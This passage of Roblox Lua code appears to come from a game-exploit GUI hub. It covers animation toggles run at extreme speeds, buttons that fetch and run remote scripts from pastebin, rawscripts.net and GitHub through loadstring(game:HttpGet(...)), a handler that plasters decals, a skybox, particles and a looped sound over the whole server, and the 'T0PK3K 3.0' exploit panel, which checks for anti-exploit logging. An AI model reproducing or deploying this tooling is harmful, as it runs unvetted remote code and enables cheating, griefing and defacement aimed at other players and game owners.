track:Stop()
SuperPunch.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://218504594"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local FullSwingACTIVE = false
FullSwing.MouseButton1Click:connect(function()
FullSwingACTIVE = not FullSwingACTIVE
if FullSwingACTIVE then
FullSwing.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if FullSwingACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
FullSwing.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://259438880"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local ArmTurbineACTIVE = false
ArmTurbine.MouseButton1Click:connect(function()
ArmTurbineACTIVE = not ArmTurbineACTIVE
if ArmTurbineACTIVE then
track:Play(.1, 1, 1e3)
ArmTurbine.BackgroundColor3 = loc
else
track:Stop()
ArmTurbine.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://136801964"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local BarrelRollACTIVE = false
BarrelRoll.MouseButton1Click:connect(function()
BarrelRollACTIVE = not BarrelRollACTIVE
if BarrelRollACTIVE then
BarrelRoll.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if BarrelRollACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
BarrelRoll.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://180612465"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local ScaredACTIVE = false
Scared.MouseButton1Click:connect(function()
ScaredACTIVE = not ScaredACTIVE
if ScaredACTIVE then
Scared.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if ScaredACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
Scared.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://33796059"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local InsaneACTIVE = false
Insane.MouseButton1Click:connect(function()
InsaneACTIVE = not InsaneACTIVE
if InsaneACTIVE then
track:Play(.1, 1, 1e8)
Insane.BackgroundColor3 = loc
else
track:Stop()
Insane.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://33169583"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local ArmDetachACTIVE = false
ArmDetach.MouseButton1Click:connect(function()
ArmDetachACTIVE = not ArmDetachACTIVE
if ArmDetachACTIVE then
ArmDetach.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if ArmDetachACTIVE then
track:Play(.1, 1, 1e6)
end
end
end
else
track:Stop()
ArmDetach.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://35978879"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local SwordSliceACTIVE = false
SwordSlice.MouseButton1Click:connect(function()
SwordSliceACTIVE = not SwordSliceACTIVE
if SwordSliceACTIVE then
track:Play(.1, 1, 1)
SwordSlice.BackgroundColor3 = loc
else
track:Stop()
SwordSlice.BackgroundColor3 = col
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://27432691"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local InsaneArmsACTIVE = false
InsaneArms.MouseButton1Click:connect(function()
InsaneArmsACTIVE = not InsaneArmsACTIVE
if InsaneArmsACTIVE then
InsaneArms.BackgroundColor3 = loc
while wait() do
if track.IsPlaying == false then
if InsaneArmsACTIVE then
track:Play(.1, 1, 1e4)
end
end
end
else
track:Stop()
InsaneArms.BackgroundColor3 = col
end
end)
-- R15
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://674871189"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local CrazySlashACTIVE = false
CrazySlash.MouseButton1Click:connect(function()
CrazySlashACTIVE = not CrazySlashACTIVE
if CrazySlashACTIVE then
CrazySlash.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if CrazySlashACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
CrazySlash.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://582855105"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local OpenACTIVE = false
Open.MouseButton1Click:connect(function()
OpenACTIVE = not OpenACTIVE
if OpenACTIVE then
Open.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if OpenACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
Open.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://754658275"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local R15SpinnerACTIVE = false
R15Spinner.MouseButton1Click:connect(function()
R15SpinnerACTIVE = not R15SpinnerACTIVE
if R15SpinnerACTIVE then
R15Spinner.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if R15SpinnerACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
R15Spinner.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://582384156"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local ArmsOutACTIVE = false
ArmsOut.MouseButton1Click:connect(function()
ArmsOutACTIVE = not ArmsOutACTIVE
if ArmsOutACTIVE then
ArmsOut.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if ArmsOutACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
ArmsOut.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://717879555"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
local FloatSlashACTIVE = false
FloatSlash.MouseButton1Click:connect(function()
FloatSlashACTIVE = not FloatSlashACTIVE
if FloatSlashACTIVE then
FloatSlash.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if FloatSlashACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
FloatSlash.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://708553116"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
WeirdZombieACTIVE = false
WeirdZombie.MouseButton1Click:connect(function()
WeirdZombieACTIVE = not WeirdZombieACTIVE
if WeirdZombieACTIVE then
WeirdZombie.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if WeirdZombieACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
WeirdZombie.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://746398327"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
DownSlashACTIVE = false
DownSlash.MouseButton1Click:connect(function()
DownSlashACTIVE = not DownSlashACTIVE
if DownSlashACTIVE then
DownSlash.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if DownSlashACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
DownSlash.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://675025795"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
PullACTIVE = false
Pull.MouseButton1Click:connect(function()
PullACTIVE = not PullACTIVE
if PullACTIVE then
Pull.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if PullACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
Pull.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://698251653"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
CircleArmACTIVE = false
CircleArm.MouseButton1Click:connect(function()
CircleArmACTIVE = not CircleArmACTIVE
if CircleArmACTIVE then
CircleArm.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if CircleArmACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
CircleArm.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://696096087"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
BendACTIVE = false
Bend.MouseButton1Click:connect(function()
BendACTIVE = not BendACTIVE
if BendACTIVE then
Bend.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if BendACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
Bend.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://675025570"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
RotateSlashACTIVE = false
RotateSlash.MouseButton1Click:connect(function()
RotateSlashACTIVE = not RotateSlashACTIVE
if RotateSlashACTIVE then
RotateSlash.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if RotateSlashACTIVE then
track:Play(.1, 1, 1)
end
end
end
else
track:Stop()
RotateSlash.BackgroundColor3 = rcol
end
end)
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://754656200"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
FlingArmsACTIVE = false
FlingArms.MouseButton1Click:connect(function()
FlingArmsACTIVE = not FlingArmsACTIVE
if FlingArmsACTIVE then
FlingArms.BackgroundColor3 = rloc
while wait() do
if track.IsPlaying == false then
if FlingArmsACTIVE then
track:Play(.1, 1, 10)
end
end
end
else
track:Stop()
FlingArms.BackgroundColor3 = rcol
end
end)
end)
end;
task.spawn(C_15);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_17()
local script = G2L["17"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/OpFinality_590"))()
end)
end;
task.spawn(C_17);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_19()
local script = G2L["19"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/refs/heads/main/executor"))()
end)
end;
task.spawn(C_19);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_1b()
local script = G2L["1b"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Pa1ntex/reviz-admin-v2-script-FE/refs/heads/main/Reviz%20admin%20v2%20FE"))()
end)
end;
task.spawn(C_1b);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_1d()
local script = G2L["1d"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Old-Replication-UI-still-works-5477"))()
end)
end;
task.spawn(C_1d);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_1f()
local script = G2L["1f"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/h1TN1kij'))()
end)
end;
task.spawn(C_1f);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_21()
local script = G2L["21"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://github.com/ltseverydayyou/Nameless-Admin/blob/main/Source.lua?raw=NEWLOADSTRINGYAYAYA"))();
end)
end;
task.spawn(C_21);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_25()
local script = G2L["25"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://157645868")[1].Source)( )
end)
end;
task.spawn(C_25);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_27()
local script = G2L["27"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local decalID = "78829839839537"
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id="..decalID
Two.Texture = "http://www.roblox.com/asset/?id="..decalID
Three.Texture = "http://www.roblox.com/asset/?id="..decalID
Four.Texture = "http://www.roblox.com/asset/?id="..decalID
Five.Texture = "http://www.roblox.com/asset/?id="..decalID
Six.Texture = "http://www.roblox.com/asset/?id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)
local s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
local skyboxID = "78829839839537"
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
game.Lighting.TimeOfDay = 12
local playerLeaderstats = {}
for i, v in pairs(game.Players:GetChildren()) do
table.insert(playerLeaderstats, v)
end
for i, v in pairs(playerLeaderstats) do
pe = Instance.new("ParticleEmitter",v.Character.Torso)
pe.Texture = "http://www.roblox.com/asset/?id=78829839839537"
pe.VelocitySpread = 50
se = Instance.new("ParticleEmitter",v.Character.Torso)
se.Texture = "http://www.roblox.com/asset/?id=78829839839537"
se.VelocitySpread = 50
fe = Instance.new("ParticleEmitter",v.Character.Torso)
fe.Texture = "http://www.roblox.com/asset/?id=78829839839537"
fe.VelocitySpread = 50
end
for i,v in pairs(game.Workspace:GetChildren()) do
if v.className == "Sound" then
v:Stop()
v:Remove()
end
end
s = Instance.new("Sound",game.Workspace)
s.SoundId = "rbxassetid://95156028272944"
s.Volume = 3
s.Looped = true
s.Pitch = 0.2
s:Play()
wait(.1)
s:Play()
end)
end;
task.spawn(C_27);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_29()
local script = G2L["29"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:GetObjects('rbxassetid://289110135')[1].Source)()
end)
end;
task.spawn(C_29);
-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
local function C_2b()
local script = G2L["2b"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--boobs lol
local ScreenGui = Instance.new("ScreenGui")
local Base = Instance.new("Frame")
local Top = Instance.new("Frame")
local First = Instance.new("TextLabel")
local Second = Instance.new("TextLabel")
local Location = Instance.new("TextLabel")
local Exit = Instance.new("TextButton")
local HomeContainer = Instance.new("Frame")
local Players = Instance.new("Frame")
local ImageLabel = Instance.new("ImageLabel")
local TextLabel = Instance.new("TextLabel")
local Mask = Instance.new("TextButton")
local Server = Instance.new("Frame")
local ImageLabel_2 = Instance.new("ImageLabel")
local TextLabel_2 = Instance.new("TextLabel")
local Mask_2 = Instance.new("TextButton")
local LocalPlayer = Instance.new("Frame")
local ImageLabel_3 = Instance.new("ImageLabel")
local TextLabel_3 = Instance.new("TextLabel")
local Mask_3 = Instance.new("TextButton")
local Scripts = Instance.new("Frame")
local ImageLabel_4 = Instance.new("ImageLabel")
local TextLabel_4 = Instance.new("TextLabel")
local Mask_4 = Instance.new("TextButton")
local Miscellaneous = Instance.new("Frame")
local ImageLabel_5 = Instance.new("ImageLabel")
local TextLabel_5 = Instance.new("TextLabel")
local Mask_5 = Instance.new("TextButton")
local Settings = Instance.new("Frame")
local ImageLabel_6 = Instance.new("ImageLabel")
local TextLabel_6 = Instance.new("TextLabel")
local Mask_6 = Instance.new("TextButton")
local Navigator = Instance.new("ScrollingFrame")
local Item = Instance.new("TextButton")
local ServerContainer = Instance.new("ScrollingFrame")
local dd = Instance.new("TextButton")
local ImageLabel_7 = Instance.new("ImageLabel")
local LocalPlayerContainer = Instance.new("ScrollingFrame")
local PlayersContainer = Instance.new("ScrollingFrame")
-- Properties
local hist = game:GetService("LogService"):GetLogHistory()
local eiss = false
for i,v in pairs(hist) do
if string.find(v["message"]:lower(), "eiss") then
eiss = true
warn("Detected EISS, Parenting to PlayerGui")
end
end
if eiss then
ScreenGui.Parent = game.Players.LocalPlayer.PlayerGui
game.StarterGui.ResetPlayerGuiOnSpawn = false
else
ScreenGui.Parent = script.Parent
end
Base.Name = "Base"
Base.Parent = ScreenGui
Base.Active = true
Base.BackgroundColor3 = Color3.new(0.054902, 0.0901961, 0.113725)
Base.BorderColor3 = Color3.new(0.0156863, 0.027451, 0.0352941)
Base.BorderSizePixel = 2
Base.Draggable = true
Base.Position = UDim2.new(0, 50, 0, 250)
Base.Selectable = true
Base.Size = UDim2.new(0, 450, 0, 250)
Top.Name = "Top"
Top.Parent = Base
Top.BackgroundColor3 = Color3.new(0.027451, 0.0431373, 0.0588235)
Top.BackgroundTransparency = 0.5
Top.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137)
Top.Position = UDim2.new(0, 10, 0, 7)
Top.Size = UDim2.new(1, -20, 0, 20)
First.Name = "First"
First.Parent = Top
First.BackgroundColor3 = Color3.new(1, 1, 1)
First.BackgroundTransparency = 1
First.BorderColor3 = Color3.new(0.32549, 0.313726, 0.313726)
First.Size = UDim2.new(1, 0, 1, 0)
First.Font = Enum.Font.SourceSans
First.FontSize = Enum.FontSize.Size18
First.Text = " T0PK3K 3.0"
First.TextColor3 = Color3.new(0.721569, 0.027451, 0.211765)
First.TextStrokeTransparency = 0
First.TextXAlignment = Enum.TextXAlignment.Left
Second.Name = "Second"
Second.Parent = Top
Second.BackgroundColor3 = Color3.new(1, 1, 1)
Second.BackgroundTransparency = 1
Second.BorderColor3 = Color3.new(0.32549, 0.313726, 0.313726)
Second.Position = UDim2.new(1, -125, 0, 0)
Second.Size = UDim2.new(0, 100, 1, 0)
Second.Font = Enum.Font.SourceSans
Second.FontSize = Enum.FontSize.Size18
Second.Text = "Cerberus Edition"
Second.TextColor3 = Color3.new(0.721569, 0.027451, 0.211765)
Second.TextStrokeTransparency = 0
Second.TextXAlignment = Enum.TextXAlignment.Left
Location.Name = "Location"
Location.Parent = Top
Location.BackgroundColor3 = Color3.new(1, 1, 1)
Location.BackgroundTransparency = 1
Location.BorderColor3 = Color3.new(0.32549, 0.313726, 0.313726)
Location.Position = UDim2.new(0, 90, 0, 0)
Location.Size = UDim2.new(1, -200, 1, 0)
Location.Font = Enum.Font.SourceSansBold
Location.FontSize = Enum.FontSize.Size18
Location.Text = "Home"
Location.TextColor3 = Color3.new(0.588235, 0.0196078, 0.172549)
Location.TextStrokeTransparency = 0
Exit.Name = "Exit"
Exit.Parent = Top
Exit.BackgroundColor3 = Color3.new(0.588235, 0.0196078, 0.172549)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(1, -18, 0, 2)
Exit.Size = UDim2.new(0, 16, 0, 16)
Exit.Font = Enum.Font.SourceSansBold
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = "X"
Exit.TextColor3 = Color3.new(1, 1, 1)
Exit.MouseButton1Down:connect(function()
Base.Parent = nil
end)
HomeContainer.Name = "HomeContainer"
HomeContainer.Parent = Base
HomeContainer.BackgroundColor3 = Color3.new(1, 1, 1)
HomeContainer.BackgroundTransparency = 1
HomeContainer.Position = UDim2.new(0, 10, 0, 50)
HomeContainer.Size = UDim2.new(1, -20, 1, -65)
Players.Name = "Players"
Players.Parent = HomeContainer
Players.BackgroundColor3 = Color3.new(1, 1, 1)
Players.BackgroundTransparency = 1
Players.Position = UDim2.new(0.666000009, 10, 0, 0)
Players.Size = UDim2.new(0.333000004, -10, 0.5, -10)
ImageLabel.Parent = Players
ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel.BackgroundTransparency = 1
ImageLabel.Position = UDim2.new(0.5, -25, 0, 0)
ImageLabel.Size = UDim2.new(0, 50, 0, 50)
ImageLabel.Image = "rbxassetid://573066980"
ImageLabel.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
TextLabel.Parent = Players
TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel.BackgroundTransparency = 1
TextLabel.Position = UDim2.new(0, 10, 1, -40)
TextLabel.Size = UDim2.new(1, -20, 0, 20)
TextLabel.Font = Enum.Font.SourceSansBold
TextLabel.FontSize = Enum.FontSize.Size24
TextLabel.Text = "Players"
TextLabel.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
Mask.Name = "Mask"
Mask.Parent = Players
Mask.BackgroundColor3 = Color3.new(1, 1, 1)
Mask.BackgroundTransparency = 1
Mask.Position = UDim2.new(0, 27, 0, 0)
Mask.Size = UDim2.new(1, -56, 0, 65)
Mask.Font = Enum.Font.SourceSans
Mask.FontSize = Enum.FontSize.Size14
Mask.Text = ""
Server.Name = "Server"
Server.Parent = HomeContainer
Server.BackgroundColor3 = Color3.new(1, 1, 1)
Server.BackgroundTransparency = 1
Server.Size = UDim2.new(0.333000004, -10, 0.5, -10)
ImageLabel_2.Parent = Server
ImageLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel_2.BackgroundTransparency = 1
ImageLabel_2.Position = UDim2.new(0.5, -23, 0, 0)
ImageLabel_2.Size = UDim2.new(0, 46, 0, 46)
ImageLabel_2.Image = "rbxassetid://573084509"
ImageLabel_2.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
TextLabel_2.Parent = Server
TextLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel_2.BackgroundTransparency = 1
TextLabel_2.Position = UDim2.new(0, 10, 1, -40)
TextLabel_2.Size = UDim2.new(1, -20, 0, 20)
TextLabel_2.Font = Enum.Font.SourceSansBold
TextLabel_2.FontSize = Enum.FontSize.Size24
TextLabel_2.Text = "Server"
TextLabel_2.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
Mask_2.Name = "Mask"
Mask_2.Parent = Server
Mask_2.BackgroundColor3 = Color3.new(1, 1, 1)
Mask_2.BackgroundTransparency = 1
Mask_2.Position = UDim2.new(0, 27, 0, 0)
Mask_2.Size = UDim2.new(1, -56, 0, 65)
Mask_2.Font = Enum.Font.SourceSans
Mask_2.FontSize = Enum.FontSize.Size14
Mask_2.Text = ""
LocalPlayer.Name = "LocalPlayer"
LocalPlayer.Parent = HomeContainer
LocalPlayer.BackgroundColor3 = Color3.new(1, 1, 1)
LocalPlayer.BackgroundTransparency = 1
LocalPlayer.Position = UDim2.new(0.333000004, 10, 0, 0)
LocalPlayer.Size = UDim2.new(0.333000004, -10, 0.5, -10)
ImageLabel_3.Parent = LocalPlayer
ImageLabel_3.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel_3.BackgroundTransparency = 1
ImageLabel_3.Position = UDim2.new(0.5, -25, 0, 0)
ImageLabel_3.Size = UDim2.new(0, 50, 0, 50)
ImageLabel_3.Image = "rbxassetid://573078228"
ImageLabel_3.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
TextLabel_3.Parent = LocalPlayer
TextLabel_3.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel_3.BackgroundTransparency = 1
TextLabel_3.Position = UDim2.new(0, 10, 1, -40)
TextLabel_3.Size = UDim2.new(1, -20, 0, 20)
TextLabel_3.Font = Enum.Font.SourceSansBold
TextLabel_3.FontSize = Enum.FontSize.Size24
TextLabel_3.Text = "LocalPlayer"
TextLabel_3.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
Mask_3.Name = "Mask"
Mask_3.Parent = LocalPlayer
Mask_3.BackgroundColor3 = Color3.new(1, 1, 1)
Mask_3.BackgroundTransparency = 1
Mask_3.Position = UDim2.new(0, 27, 0, 0)
Mask_3.Size = UDim2.new(1, -56, 0, 65)
Mask_3.Font = Enum.Font.SourceSans
Mask_3.FontSize = Enum.FontSize.Size14
Mask_3.Text = ""
Scripts.Name = "Scripts"
Scripts.Parent = HomeContainer
Scripts.BackgroundColor3 = Color3.new(1, 1, 1)
Scripts.BackgroundTransparency = 1
Scripts.Position = UDim2.new(0, 0, 0.5, 0)
Scripts.Size = UDim2.new(0.333000004, -10, 0.5, -10)
ImageLabel_4.Parent = Scripts
ImageLabel_4.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel_4.BackgroundTransparency = 1
ImageLabel_4.Position = UDim2.new(0.5, -25, 0, 0)
ImageLabel_4.Size = UDim2.new(0, 50, 0, 50)
ImageLabel_4.Image = "rbxassetid://573081437"
ImageLabel_4.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
TextLabel_4.Parent = Scripts
TextLabel_4.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel_4.BackgroundTransparency = 1
TextLabel_4.Position = UDim2.new(0, 10, 1, -40)
TextLabel_4.Size = UDim2.new(1, -20, 0, 20)
TextLabel_4.Font = Enum.Font.SourceSansBold
TextLabel_4.FontSize = Enum.FontSize.Size24
TextLabel_4.Text = "Scripts"
TextLabel_4.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
Mask_4.Name = "Mask"
Mask_4.Parent = Scripts
Mask_4.BackgroundColor3 = Color3.new(1, 1, 1)
Mask_4.BackgroundTransparency = 1
Mask_4.Position = UDim2.new(0, 27, 0, 0)
Mask_4.Size = UDim2.new(1, -56, 0, 65)
Mask_4.Font = Enum.Font.SourceSans
Mask_4.FontSize = Enum.FontSize.Size14
Mask_4.Text = ""
Miscellaneous.Name = "Miscellaneous"
Miscellaneous.Parent = HomeContainer
Miscellaneous.BackgroundColor3 = Color3.new(1, 1, 1)
Miscellaneous.BackgroundTransparency = 1
Miscellaneous.Position = UDim2.new(0.333000004, 10, 0.5, 0)
Miscellaneous.Size = UDim2.new(0.333000004, -10, 0.5, -10)
ImageLabel_5.Parent = Miscellaneous
ImageLabel_5.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel_5.BackgroundTransparency = 1
ImageLabel_5.Position = UDim2.new(0.5, -23, 0, 0)
ImageLabel_5.Size = UDim2.new(0, 46, 0, 46)
ImageLabel_5.Image = "rbxassetid://573087376"
ImageLabel_5.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
TextLabel_5.Parent = Miscellaneous
TextLabel_5.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel_5.BackgroundTransparency = 1
TextLabel_5.Position = UDim2.new(0, 10, 1, -40)
TextLabel_5.Size = UDim2.new(1, -20, 0, 20)
TextLabel_5.Font = Enum.Font.SourceSansBold
TextLabel_5.FontSize = Enum.FontSize.Size24
TextLabel_5.Text = "Miscellaneous"
TextLabel_5.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
Mask_5.Name = "Mask"
Mask_5.Parent = Miscellaneous
Mask_5.BackgroundColor3 = Color3.new(1, 1, 1)
Mask_5.BackgroundTransparency = 1
Mask_5.Position = UDim2.new(0, 27, 0, 0)
Mask_5.Size = UDim2.new(1, -56, 0, 65)
Mask_5.Font = Enum.Font.SourceSans
Mask_5.FontSize = Enum.FontSize.Size14
Mask_5.Text = ""
Settings.Name = "Settings"
Settings.Parent = HomeContainer
Settings.BackgroundColor3 = Color3.new(1, 1, 1)
Settings.BackgroundTransparency = 1
Settings.Position = UDim2.new(0.666000009, 10, 0.5, 0)
Settings.Size = UDim2.new(0.333000004, -10, 0.5, -10)
ImageLabel_6.Parent = Settings
ImageLabel_6.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel_6.BackgroundTransparency = 1
ImageLabel_6.Position = UDim2.new(0.5, -23, 0, 0)
ImageLabel_6.Size = UDim2.new(0, 46, 0, 46)
ImageLabel_6.Image = "rbxassetid://573090294"
ImageLabel_6.ImageColor3 = Color3.new(0.615686, 0.0352941, 0.129412)
TextLabel_6.Parent = Settings
TextLabel_6.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel_6.BackgroundTransparency = 1
TextLabel_6.Position = UDim2.new(0, 10, 1, -40)
TextLabel_6.Size = UDim2.new(1, -20, 0, 20)
TextLabel_6.Font = Enum.Font.SourceSansBold
TextLabel_6.FontSize = Enum.FontSize.Size24
TextLabel_6.Text = "Settings"
TextLabel_6.TextColor3 = Color3.new(0.776471, 0.0235294, 0.137255)
Mask_6.Name = "Mask"
Mask_6.Parent = Settings
Mask_6.BackgroundColor3 = Color3.new(1, 1, 1)
Mask_6.BackgroundTransparency = 1
Mask_6.Position = UDim2.new(0, 27, 0, 0)
Mask_6.Size = UDim2.new(1, -56, 0, 65)
Mask_6.Font = Enum.Font.SourceSans
Mask_6.FontSize = Enum.FontSize.Size14
Mask_6.Text = ""
